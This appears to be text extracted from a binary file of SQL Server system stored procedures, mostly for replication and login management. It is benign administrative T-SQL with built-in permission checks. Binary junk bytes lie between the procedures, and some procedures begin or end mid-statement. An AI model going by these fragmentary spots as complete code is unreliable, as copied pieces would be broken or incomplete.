        IF NOT EXISTS (SELECT * FROM #sub_owner_list) AND 
           @agent_type IS NOT NULL
        BEGIN
            RAISERROR(21167, 16, -1, 'Distribution')
            SELECT @retcode = 1
            GOTO FAILURE
        END 
    END

    IF (@agent_type IS NULL AND NOT EXISTS (SELECT * FROM #sub_owner_list)) OR
       LOWER(@agent_type collate SQL_Latin1_General_CP1_CS_AS) = N'merge' 
    BEGIN
        
        SELECT @count = COUNT(*)
          FROM sys.objects
         WHERE name IN (N'sysmergesubscriptions', N'MSmerge_replinfo')
        
        IF @count = 2        
        BEGIN
            INSERT INTO #sub_owner_list 
            SELECT DISTINCT mr.login_name 
              FROM dbo.MSmerge_replinfo mr
        INNER JOIN dbo.sysmergesubscriptions sms
                ON mr.repid = sms.subid
             WHERE mr.merge_jobid = @job_id and
                    sms.status <> 7 -- REPLICA_STATUS_BeforeRestore
        END

        IF NOT EXISTS (SELECT * FROM #sub_owner_list) AND 
           @agent_type IS NOT NULL
        BEGIN
            RAISERROR(21167, 16, -1, 'Merge')
            SELECT @retcode = 1
            GOTO FAILURE
        END 
    END

    IF NOT EXISTS (SELECT * FROM #sub_owner_list) 
    BEGIN
        RAISERROR(21134, 16, -1)
        SELECT @retcode = 1
        GOTO FAILURE
    END

    IF suser_sname(suser_sid()) NOT IN (SELECT owner_name FROM #sub_owner_list) AND
       is_srvrolemember('sysadmin') <> 1 AND
       is_member('db_owner') <> 1
    BEGIN

        RAISERROR(21168, 16, -1)
        SELECT @retcode = 1
        GOTO FAILURE
    END

FAILURE:

    DROP TABLE #sub_owner_list
    RETURN @retcode

0* 8create function sys.fn_replreplacesinglequote (
    @pstrin nvarchar(max) )
returns nvarchar(max)
as
begin
        return REPLACE(@pstrin, N'''', N'''''')
end
0*-@ Q8--
-- Name: sp_MSincrementpublicationminautonosynclsn
--
-- Description: This is a helper procedure for updating a publication's
--              min. autonosync lsn to the "current" (from sp_replincrementlsn)
--              lsn of the publisher database.
--
-- Parameter: @publication sysname (mandatory)
--
-- Note: @publication is assumed to be validated and no error will be raised 
--       if syspublications does not exist.
--        
-- Security: This is an internal system procedure.
--
create procedure sys.sp_MSincrementpublicationminautonosynclsn (
    @publication sysname
    )
as
begin
    set nocount on
    declare @retcode int,
 			@pubid int,
    		@min_artid int,
            @min_autonosync_lsn binary(10),
            @distributor sysname,
            @distribdb sysname,
            @publisher sysname,
            @dbname sysname,
            @distproc nvarchar(768),
            @min_autonosync_lsn_str nvarchar(30),
            @distver int


    select @retcode = 0

	if object_id(N'dbo.syspublications') is not null
		and object_id(N'dbo.sysextendedarticlesview') is not null
	begin
		select top 1 @pubid = sysp.pubid,
				@min_autonosync_lsn = sysp.min_autonosync_lsn,
				@min_artid = sysea.artid
			from dbo.syspublications sysp
				join dbo.sysextendedarticlesview sysea
					on sysp.pubid = sysea.pubid
			where sysp.name = @publication
			order by sysea.artid asc

		-- if we have an article 
		--    and (this is the first time we are setting min_autonosync_lsn 
		--		or this is our first article)
		-- then 
		--    we need to post a no-op cmd so that we
		--    ensure we will always know if that backup is 
		--    valid and that cleanup has not removed cmds
		if @min_artid is not NULL
			and (@min_autonosync_lsn is NULL
				or not exists(select *
								from dbo.sysextendedarticlesview
								where pubid = @pubid
									and artid > @min_artid))
		begin		
			exec @retcode = sys.sp_replpostcmd 0, @pubid, @min_artid, 1, N'-- INITIALIZE WITH BACKUP'
			if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end
		end
	end
	
    exec @retcode = sys.sp_replincrementlsn_internal @min_autonosync_lsn output
    if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end
    
    if object_id('dbo.syspublications') is not null
    begin
        update dbo.syspublications
           set min_autonosync_lsn = @min_autonosync_lsn
         where name = @publication
        if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end
    end

    -- Update distributor size autonosync lsn value
    --  this is done to make sure that we're not cleaning up commands when there are no subscriptions
    --  for init from backup publications
    SELECT @publisher = publishingservername()
    EXEC @retcode = sys.sp_MSrepl_getdistributorinfo	@publisher  = @publisher,
															@rpcsrvname = @distributor OUTPUT,
                                                            @distribdb = @distribdb OUTPUT,
                                                            @version = @distver OUTPUT
    if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end

    if (@distver > 0x090007FF)
    BEGIN
        SELECT @dbname = DB_NAME()
        SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.'
                      + QUOTENAME(@distribdb) + '.dbo.sp_MSchange_publication'
   
        SELECT @min_autonosync_lsn_str = CONVERT(nvarchar(30), @min_autonosync_lsn)

        EXECUTE @retcode = @distproc
                @publisher = @publisher,
                @publisher_db = @dbname,
                @publication = @publication,
                @property = N'min_autonosync_lsn',
                @value = @min_autonosync_lsn_str
    END
Failure:
    return @retcode     
end
!!!!!!!!!!!!!!!!>`|<R=B'A0Ӻ6 M8create procedure sys.sp_revokelogin
    @loginame		sysname
AS
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
	set nocount on
	declare @exec_stmt nvarchar(4000)
	declare @ret int

    -- DISALLOW USER TRANSACTION --
	set implicit_transactions off
	IF (@@trancount > 0)
	begin
		raiserror(15002,-1,-1,'sys.sp_revokelogin')
		return (1)
	end

    -- VALIDATE LOGIN NAME:
	execute @ret = sys.sp_validname @loginame
	if (@ret <> 0)
        return (1)

    -- DISALLOW SQL LOGIN (IE. MUST BE 'DOMAIN\USER') --
	if (charindex('\', @loginame) = 0)
	begin
		raiserror(15407, -1, -1, @loginame)
		return (1)
	end

	set @exec_stmt = 'drop login ' + quotename(@loginame)

	exec (@exec_stmt)

	if @@error <> 0
		return (1)

    -- RETURN "SUCCESS" --
    return (0)	-- sp_revokelogin
0<7@ 
8/* this proc will drop all the per article contents views if they
   exist for the given publication */
create procedure sys.sp_MSdropctsviews
    @pubid uniqueidentifier,
    @artid uniqueidentifier = NULL
AS
    declare @ctsview              sysname
    declare @ctsview_80           sysname
    declare @ctsview_90_forall    sysname
    declare @ctsview_90_forglobal sysname
    declare @ctsview_rowtrack sysname
    declare @pubidstr       nvarchar(40)
    declare @artidstr       nvarchar(40)
    declare @retcode int 
    declare @tablenick  int

    exec @retcode = sys.sp_MSguidtostr @pubid, @pubidstr out
    if @@ERROR <>0 OR @retcode <> 0 
        return (1)

    if @artid is NULL
    begin
        select @tablenick = min(nickname) from dbo.sysmergearticles where pubid = @pubid
        while @tablenick is not null
        begin
            select @artid = artid from dbo.sysmergearticles where nickname = @tablenick and pubid = @pubid
            exec @retcode = sys.sp_MSguidtostr @artid, @artidstr out
            if @@ERROR <>0 OR @retcode <> 0 return (1)

            set @ctsview = 'MSmerge_cont_' + @pubidstr + '_' + @artidstr
            set @ctsview_90_forall = 'MSmerge_cont_90_forall_' + @pubidstr + '_' + @artidstr
            set @ctsview_90_forglobal = 'MSmerge_cont_90_forglobal_' + @pubidstr + '_' + @artidstr
            set @ctsview_80 = 'MSmerge_cont_' + @pubidstr + '_' + @artidstr + '_80'
            set @ctsview_rowtrack = 'MSmerge_cont_rowtrack_' + @pubidstr + '_' + @artidstr

            exec @retcode = sp_MSdropview_internal @ctsview
            if @@ERROR<>0 OR @retcode<>0 return (1)

            exec @retcode = sp_MSdropview_internal @ctsview_90_forall
            if @@ERROR<>0 OR @retcode<>0 return (1)

            exec @retcode = sp_MSdropview_internal @ctsview_90_forglobal
            if @@ERROR<>0 OR @retcode<>0 return (1)

            exec @retcode = sp_MSdropview_internal @ctsview_80
            if @@ERROR<>0 OR @retcode<>0 return (1)

            exec @retcode = sp_MSdropview_internal @ctsview_rowtrack
            if @@ERROR<>0 OR @retcode<>0 return (1)
            
            /* Advance to next article and repeat the loop */
            select @tablenick = min(nickname) from dbo.sysmergearticles where pubid = @pubid and nickname > @tablenick
        end
    end
    else
    begin
        exec @retcode = sys.sp_MSguidtostr @artid, @artidstr out
        if @@ERROR <>0 OR @retcode <> 0 return (1)

        set @ctsview = 'MSmerge_cont_' + @pubidstr + '_' + @artidstr
        set @ctsview_90_forall = 'MSmerge_cont_90_forall_' + @pubidstr + '_' + @artidstr
        set @ctsview_90_forglobal = 'MSmerge_cont_90_forglobal_' + @pubidstr + '_' + @artidstr
        set @ctsview_80 = 'MSmerge_cont_' + @pubidstr + '_' + @artidstr + '_80'
        set @ctsview_rowtrack = 'MSmerge_cont_rowtrack_' + @pubidstr + '_' + @artidstr

        exec @retcode = sp_MSdropview_internal @ctsview
        if @@ERROR<>0 OR @retcode<>0 return (1)

        exec @retcode = sp_MSdropview_internal @ctsview_90_forall
        if @@ERROR<>0 OR @retcode<>0 return (1)

        exec @retcode = sp_MSdropview_internal @ctsview_90_forglobal
        if @@ERROR<>0 OR @retcode<>0 return (1)

        exec @retcode = sp_MSdropview_internal @ctsview_80
        if @@ERROR<>0 OR @retcode<>0 return (1)

        exec @retcode = sp_MSdropview_internal @ctsview_rowtrack
        if @@ERROR<>0 OR @retcode<>0 return (1)
    end

    return 0
ted_check.name collate database_default, 
						'column_id' = case computed_check.column_id when 0 then depend_udt.column_id else computed_check.column_id end, 
						'user_type_id' = depend_udt.user_type_id, 
						'depend_column_id' = depend_udt.column_id 
			from 
					(
					select 'type' = 'check', object_id, name, 'column_id' = 0 from sys.check_constraints where parent_object_id = @objid
					union
					select 'type' = 'computed', object_id, name, column_id from sys.computed_columns where object_id = @objid
					) as computed_check
					join (
						select  ssd.object_id as constraint_object_id, 
									sc.name, 
									sc.user_type_id, 
									sc.column_id, 
									sc.system_type_id, 
									ssd.column_id as parent_column_id
						from    sys.sql_dependencies ssd
						join    sys.columns sc on ssd.referenced_major_id = sc.object_id and ssd.referenced_minor_id = sc.column_id
						where sc.object_id = @objid 
						) as depend_udt
					on computed_check.object_id = depend_udt.constraint_object_id
					and (computed_check.column_id = depend_udt.parent_column_id 	-- computed columns
							or computed_check.column_id = 0												-- check constraints
							)
			union 
			select 'type' = type collate database_default, 
						'name' = fmcc.constraint_column_name collate database_default, 
						'column_id' = fmcc.constraint_column_id, 
						'user_type_id' = sc.user_type_id ,
						'depend_column_id' = fmcc.constraint_column_id
					from 
						sys.fn_MSconstraint_columns (@objid) fmcc
						join sys.columns sc on sc.name = fmcc.constraint_column_name collate database_default
				where sc.object_id = @objid and type in ('PK', 'D')
			) as computed_check_pk
			join sys.types typ on typ.user_type_id = computed_check_pk.user_type_id 
			join sysarticlecolumns sac on computed_check_pk.column_id = sac.colid 
			where typ.system_type_id = 240 and sac.artid = @tran_artid)
		set @dependUDT = 1
	else 
		set @dependUDT = 0

	return (@dependUDT)
end
log access
--
create procedure sys.sp_MScleanupmergepublisher_internal
as
begin
    set nocount on
    declare @status_mask int
    declare @published_mask int
    declare @published_database_name sysname
    declare @command nvarchar(4000)

    -- Security check: sysadmin only
    if (isnull(is_srvrolemember('sysadmin'),0) = 0)
    begin
        raiserror(14260,16,-1)
        return (1)
    end

    -- Masks off the databases with status that we don't want to deal with
    select @status_mask = 32 | -- loading
                          64 | -- pre recovery
                          128 | -- recovering
                          256 | -- not recovered
                          512 | -- offline
                          1024  -- read only

    select @published_mask = 4 -- Merge published

    declare hPublishedDatabase cursor local fast_forward for
        select name from sysdatabases 
         where (status & @status_mask) = 0
           and (category & @published_mask) <> 0

    open hPublishedDatabase

    fetch hPublishedDatabase into @published_database_name
    while  (@@fetch_status <> -1)
    begin

        select @command = QUOTENAME(@published_database_name) + '.sys.sp_MScleanupmergepublisherdb'

        exec @command
        -- Ignore errors
        fetch hPublishedDatabase into @published_database_name
    end

    close hPublishedDatabase
    deallocate hPublishedDatabase

end
0M> 88& !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!x`@<t>/d270BR@ D8Ih?"0W6@ 8
create procedure sys.sp_check_publication_access
(
	@publication	sysname,
	@given_login	sysname = NULL,
	@publisher		sysname = NULL
)
AS
BEGIN
    declare @retcode int

    set nocount on

    exec @retcode = sys.sp_MSreplcheck_pull 
						@publication = @publication,
						@given_login = @given_login,
						@publisher   = @publisher

    if @retcode <> 0 or @@error <> 0
    BEGIN
        return (1)
	END

    return 0
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`v<<
?EF&W0 8
create procedure sys.sp_column_privileges
(
    @table_name         sysname,             -- no pattern matching
    @table_owner        sysname = null,      -- no pattern matching
    @table_qualifier    sysname = null,      -- no pattern matching
    @column_name        nvarchar(384) = null -- SUPPORTS PATTERN MATCHING
)
as
    declare @table_id    int

    if @column_name is null -- If column name not supplied, match all
        select @column_name = '%'

    if @table_qualifier is not null
    begin
        if db_name() <> @table_qualifier
        begin   -- If qualifier doesn't match current database
            raiserror (15250, -1,-1)
            return
        end
    end

    if @table_owner is null
    begin   -- If unqualified table name
        select @table_id = object_id(quotename(@table_name))
    end
    else
    begin   -- Qualified table name
        if @table_owner = N''
        begin   -- If empty owner name
            select @table_id = 0
        end
        else
        begin
            select @table_id = object_id(quotename(@table_owner) + '.' + quotename(@table_name))
        end
    end

    select
        TABLE_QUALIFIER = convert(sysname,db_name()),
        TABLE_OWNER     = convert(sysname,schema_name(o.schema_id)),
        TABLE_NAME      = @table_name,
        COLUMN_NAME     = convert(sysname,c.name),
        GRANTOR         = user_name(p.grantor_principal_id),
        GRANTEE         = user_name(u.principal_id),
        PRIVILEGE       = convert (varchar(32),
                                      case p.type
                                          when 'SL' then 'SELECT'
                                          when 'IN' then 'INSERT'
                                          when 'DL' then 'DELETE'
                                          when 'UP' then 'UPDATE'
                                          else 'REFERENCES'
                                      end),
        IS_GRANTABLE    = convert (varchar(3), case when p.state = 'G' then 'NO' else 'YES' end)
    from
        sys.all_objects o inner join
        sys.all_columns c on
            (
                c.object_id = @table_id and
                c.object_id = o.object_id and
                c.name like @column_name
            ) inner join
        sys.database_permissions p on
            (
                p.major_id = c.object_id and
                p.class = 1 and
                p.state in ('G','W') and
                (p.minor_id = 0 or p.minor_id = c.column_id)
            ) inner join
        sys.database_principals u on
            (
                u.principal_id = p.grantee_principal_id
            )
    where
        not exists (        -- exclude revoke'd privileges
                    select *
                    from
                        sys.database_permissions p1
                    where
                        p1.class = 1 and
                        p1.major_id = p.major_id and
                        p1.minor_id = c.column_id and
                        p1.state in ('D', 'R') and
                        p1.type = p.type and
                        p1.grantee_principal_id = p.grantee_principal_id and
                        p1.grantor_principal_id = p.grantor_principal_id
                   )
    union

    select  -- Add rows for table owner
        TABLE_QUALIFIER = convert(sysname,db_name()),
        TABLE_OWNER     = convert(sysname,schema_name(o.schema_id)),
        TABLE_NAME      = @table_name,
        COLUMN_NAME     = convert(sysname,col_name(@table_id, c.column_id)),
        GRANTOR         = convert(sysname,user_name(u.principal_id)),
        GRANTEE         = convert(sysname,user_name(ObjectProperty(o.object_id,'ownerid'))),
        PRIVILEGE       = convert (varchar(32), v.permission),
        IS_GRANTABLE    = convert(varchar(3),'YES')
    from
        sys.all_objects o inner join
        sys.all_columns c on
            (
                c.object_id = @table_id and
                c.object_id = o.object_id and
                c.name like @column_name
            ) inner join
        sys.database_principals u on
            (
                u.principal_id = 1  -- grantor is 'dbo' of database
            ) inner join
        sys.spt_permission_names v on
            (
                v.number > 0 and -- exclude delete
                has_perms_by_name(quotename(schema_name(o.schema_id)) + '.' + quotename(o.name), 'OBJECT', v.permission) = 1
            )

    order by 4, 7
0v 	8create function sys.fn_replgetbitmapfromcolid 
(
    @artid int          -- article id
)
returns binary(32)
as
begin
    declare @bitmap binary(32)
                ,@colid int
                ,@maxcolid int
                ,@wordoffset tinyint
                ,@bitoffset tinyint
                ,@wordmask binary(2)
                ,@oldword binary(2)
                ,@newword binary(2)

    --
    -- initialize
    --
    select @bitmap = 0x0
    --
    -- Null artid check
    --
    if (@artid is null)
	return (@bitmap)
    --
    -- Check for valid artid and max colid
    --
    select @maxcolid = max(colid) 
    from sysarticlecolumns 
    where artid = @artid
    if (@maxcolid is null or @maxcolid > 256)
        return (@bitmap)
    --
    -- enumerate through the colids
    --
    declare #hcartcol cursor local fast_forward for
        select colid 
        from sysarticlecolumns 
        where artid = @artid 
        order by colid asc
    for read only
    open #hcartcol
    fetch #hcartcol into @colid
    while (@@fetch_status != -1)
    begin
        --
        -- Get the word, bit offset for the colid
        --
        select @wordoffset = cast((16-floor((@colid - 1)/16)) as tinyint)
                ,@bitoffset = (@colid - 1) % 16
        --
        -- prepare the mask to apply on the word
        -- extract the current value of the word in the bitmap
        --
        select @wordmask = cast(substring( cast( cast( power(2, @bitoffset)as binary(4)) as nchar(2)), 2, 1 ) as binary(2))
                ,@oldword = cast( substring( cast( @bitmap as nvarchar(60)), @wordoffset, 1) as binary(2))
        if (@oldword is null)
            select @oldword = 0x0000
        --
        -- apply the mask on the current value
        -- store the updated value of the word in bitmap
        --
        select @newword = cast((cast(@oldword as smallint) | @wordmask) as binary(2))
        select @bitmap = cast(stuff( cast(@bitmap as nchar(16)), @wordoffset, 1, cast(@newword as nchar(1))) as binary(32))
        --
        -- fetch next column
        --
        fetch #hcartcol into @colid
    end
    close #hcartcol
    deallocate #hcartcol
    --
    -- all done
    --
    return (@bitmap)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`]
><Q@_40:
0q@ 8create procedure sys.sp_MScheckforexpiredmergesubscriptions
    @mark_expired_as_failed_attach bit= 0
as
    declare @publication sysname
    declare @lastsyncdate datetime
    declare @REPLICA_STATUS_BeforeRestore tinyint
    declare @REPLICA_STATUS_AttachFailed tinyint
    declare @retention int
    declare @retention_period_unit tinyint
    declare @pubid uniqueidentifier
    declare @subid uniqueidentifier

    set @REPLICA_STATUS_BeforeRestore= 7
    set @REPLICA_STATUS_AttachFailed= 6

    -- Check for expired subscriptions this replica is subscribing to.
    declare PC cursor local fast_forward for
        select p.name,
               p.retention, 
               p.retention_period_unit,
               s.pubid,
               s.subid,
               s.last_sync_date
            from dbo.sysmergepublications p join dbo.sysmergesubscriptions s
                on p.pubid=s.pubid
                where upper(s.subscriber_server) collate database_default=upper(@@servername) collate database_default and
                       isnull(p.retention,0)<>0 and
                      s.db_name=db_name() and
                      s.pubid<>s.subid and -- Skip subscriptions that represent publications.
                      s.status<>@REPLICA_STATUS_BeforeRestore and
                       s.last_sync_date < sys.fn_add_units_to_date(-p.retention,p.retention_period_unit, getdate())
                       
    open PC
    fetch PC into @publication, @retention,@retention_period_unit, @pubid, @subid, @lastsyncdate
    while @@fetch_status<>-1
    begin
        raiserror(21307, 10, -1, @publication)

        if 1=@mark_expired_as_failed_attach
        begin
            update dbo.sysmergesubscriptions
                set status= @REPLICA_STATUS_AttachFailed
                where pubid=@pubid and subid=@subid
        end

        fetch PC into @publication, @retention,@retention_period_unit, @pubid, @subid, @lastsyncdate
    end

    close PC
    deallocate PC

    return 0
0F@ j8
-- Add a row into the "MSagent_parameters" table
create procedure sys.sp_add_agent_parameter (
    @profile_id int,
    @parameter_name         sysname,
    @parameter_value        nvarchar(255)
)
as
    declare @slash_parameter_name sysname
    declare @dash_parameter_name sysname
    declare @retcode int
    
    set nocount on

    /*
    ** Security Check: require sysadmin
    */
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

    select @parameter_name = RTRIM(@parameter_name)

    -- Append leading '-' when not given
    if (substring(@parameter_name, 1, 1) <> '/' and 
        substring(@parameter_name, 1, 1) <> '-')
    BEGIN
        select @parameter_name = N'-' + @parameter_name
    END

    -- Call proc to validate parameter value
    exec @retcode = sys.sp_MSvalidate_agent_parameter 
                        @profile_id = @profile_id, 
                        @parameter_name = @parameter_name,
                        @parameter_value = @parameter_value
    if @retcode <> 0
        RETURN(1)


    select @slash_parameter_name = lower(stuff(@parameter_name, 1, 1, N'/') collate SQL_Latin1_General_CP1_CS_AS)
    select @dash_parameter_name = lower(stuff(@parameter_name, 1, 1, N'-') collate SQL_Latin1_General_CP1_CS_AS)
     

    /* A parameter may be defined only once per profile */
    if exists ( select * from msdb..MSagent_parameters 
            where profile_id = @profile_id
            and (lower(parameter_name collate SQL_Latin1_General_CP1_CS_AS) = @slash_parameter_name collate SQL_Latin1_General_CP1_CS_AS  
            or lower(parameter_name collate SQL_Latin1_General_CP1_CS_AS) = @dash_parameter_name collate SQL_Latin1_General_CP1_CS_AS))
    BEGIN
        RAISERROR (20067, 16, -1, @parameter_name)  -- The parameter name ''%s'' already exists for the specified profile
        RETURN (1)
    END

    insert into msdb..MSagent_parameters
    values (@profile_id, @parameter_name, @parameter_value) ;

    if @@error <> 0
        return(1)
0߮@ 8
--
-- Name:
--		sp_MSdistributoravailable
--
-- Description:
--		Procedure used to determine whether the distributor is available
--
-- Returns:
--		0 == SUCCESS
--		1 == FAILURE
--              result set with distribution database as the only column
--
-- Security:
--		public
--
-- Notes:
--		This internal stored procedure is used to determine whether the 
--              distributor associated with the local server is available.  
--		If available, the name of the distribution db will be returned
--		as the only column in the result set, and the return code will
--		be set to zero.    

create procedure sys.sp_MSdistributoravailable
AS
BEGIN
	DECLARE @distribdb sysname,
		@retcode int

	exec @retcode = sp_MSrepl_getdistributorinfo
		@distribdb = @distribdb OUTPUT

	select 'distribdb' = @distribdb
 
	return @retcode
END
0޷@ 88create procedure sys.sp_MSscript_insert_subwins 
(
	@publication sysname		-- publication name
	,@article sysname			-- article name
	,@objid int				-- object id
	,@artid int				-- article id
	,@identity_insert bit		-- enable identity insert
)
as
begin
	declare @cmd nvarchar(4000)
			,@qualname nvarchar(517)
			,@rc           int
			,@fhasnonpkuniquekeys int

	exec sp_MSget_qualified_name @objid, @qualname OUTPUT
	--
	--  check if this article has non PK unique keys
	--
	exec @fhasnonpkuniquekeys = sp_repltablehasnonpkuniquekey @tabid = @objid
	--
	-- start scripting
	--
	select @cmd = N'
	if (@execution_mode = @QSubWins)
	begin
		'+N'--
		'+N'-- Subscriber wins resolution
		'+N'-- '
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- script this block if the article has non PK unique keys
	--
	if (@fhasnonpkuniquekeys = 1)
	begin
		select @cmd = N'
		if (@cftcase = 22)
		begin
			'+N'--
			'+N'-- delete rows with values of non PK keys
			'+N'-- '
		insert into #proctext(procedure_text) values( @cmd )
		--
		-- script delete rows with values for non PK keys
		--
		select @cmd = N'
			delete ' + @qualname 
		insert into #proctext(procedure_text) values( @cmd )
		exec @rc = sp_replscriptuniquekeywhereclause @tabid = @objid
					,@artid = @artid
					,@prefix = N'@c' 
					,@suffix = NULL
					,@mode = 7
		--
		-- continue scripting
		--
		select @cmd = N'
		end'
		insert into #proctext(procedure_text) values( @cmd )
	end
	--
	-- continue scripting
	--
	select @cmd = N'
		if (@cftcase = 21)
		begin
			'+N'--
			'+N'-- delete rows with values of all keys
			'+N'-- '
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- script delete rows with values of all keys 
	--
	select @cmd = N'
			delete ' + @qualname 
	insert into #proctext(procedure_text) values( @cmd )
	exec @rc = sp_replscriptuniquekeywhereclause @tabid = @objid
				,@artid = @artid
				,@prefix = N'@c' 
				,@suffix = NULL
				,@mode = 6
	--
	-- continue scripting
	--
	select @cmd = N'
		end
		if (@cftcase in (21,22))
		begin
			'+N'--
			'+N'-- insert row
			'+N'-- '
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- script insert row  
	--
	exec @rc = sp_script_insertforcftresolution 
			@objid = @objid
			,@artid = @artid
			,@identity_insert = @identity_insert
			,@prefix = N'@c'
			,@suffix = NULL
	--
	-- continue scripting
	--
	select @cmd = N'
		end

		'+N'--
		'+N'-- --------------------------------------------------------------------
		'+N'-- all done for conflict resolution for Subscriber Wins policy
		'+N'-- --------------------------------------------------------------------
		'+N'--
	end'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- all done
	--
	return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!~o`h	<
bAo0;@ m
8--
-- Name: sp_MSacquiresnapshotdeliverysessionlock
--
-- Description: This procedure is used by the distribution/merge agent to 
--              acquire a subscription database specific application lock
--              during snapshot delivery. This application lock can be used for
--              coordination with any user application that does not wish to 
--              be exposed to inconsistent data at the subscription database
--              while a snapshot is being delivered.
-- 
-- Returns: 0 - succeeded
--          1 - failed
--
-- Notes: i) This procedure should be executed by the distribution/merge agent
--        at the subscription database.
--        ii) This procedure will block until the application lock is acquired.
--
-- Security: Execute permission of this procedure is granted to public;
--           procedural security check will be performed to make sure
--           that the caller is either a db_owner of the current database
--           or a sysadmin. 
--
create procedure sys.sp_MSacquiresnapshotdeliverysessionlock
as
begin
    set nocount on
    declare @retcode int
    declare @resource nvarchar(255)
    select @retcode = 0    
    select @resource = N'snapshot_delivery_in_progress_' + 
                       db_name() collate database_default
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @retcode <> 0 or @@error <> 0
    begin
        select @retcode = 1
        goto FAILURE
    end
    
    -- Try to create the snapshot delivery progress table here so multiple
    -- bcp threads in DTS snapshot are guaranteed to be able to access
    -- the snapshot progress table
    if object_id('dbo.MSsnapshotdeliveryprogress') is null
    begin
        create table dbo.MSsnapshotdeliveryprogress 
        (
           session_token nvarchar(260) not null,
           progress_token_hash int not null,
           progress_token nvarchar(500) not null,
           progress_timestamp datetime default getdate()
        )
        if @@ERROR <> 0
        begin 
            select @retcode = 1
            goto FAILURE
        end        
        create index ci_MSsnapshotdeliveryprogress_progress_token_hash 
            on dbo.MSsnapshotdeliveryprogress(progress_token_hash)
        if @@ERROR <> 0
        begin 
            select @retcode = 1
            goto FAILURE
        end        
        create index nci_MSsnapshotdeliveryprogress_session_token
            on dbo.MSsnapshotdeliveryprogress(session_token)
        if @@ERROR <> 0
        begin 
            select @retcode = 1
            goto FAILURE
        end        
        exec @retcode = dbo.sp_MS_marksystemobject 'dbo.MSsnapshotdeliveryprogress'
        if @retcode <> 0 or @@ERROR <> 0
        begin 
            select @retcode = 1
            goto FAILURE
        end        
    end 

    exec @retcode = sys.sp_getapplock @Resource = @resource,
                                             @LockMode = 'Shared',    
                                             @LockOwner = 'Session',
                                             @LockTimeout = -1,
                                             @DbPrincipal = N'db_owner'
    if @@error <> 0 or @retcode < 0
    begin
        select @retcode = 1
        goto FAILURE
    end
    select @retcode = 0
FAILURE:
    return @retcode
end
0C@ 8
CREATE PROCEDURE sys.sp_addpublication_snapshot
(
    @publication					sysname,    
    @frequency_type					int = 4 ,		/* 4== Daily */
    @frequency_interval				int = 1,		/* Every day */
    @frequency_subday				int = 4,		/* Sub interval = Minute */
    @frequency_subday_interval		int = 5,		/* Every five minutes */
    @frequency_relative_interval	int = 1, 
    @frequency_recurrence_factor	int = 0, 
    @active_start_date				int = 0, 
    @active_end_date				int = 99991231 , 
    @active_start_time_of_day		int = 0, 
    @active_end_time_of_day			int = 235959,
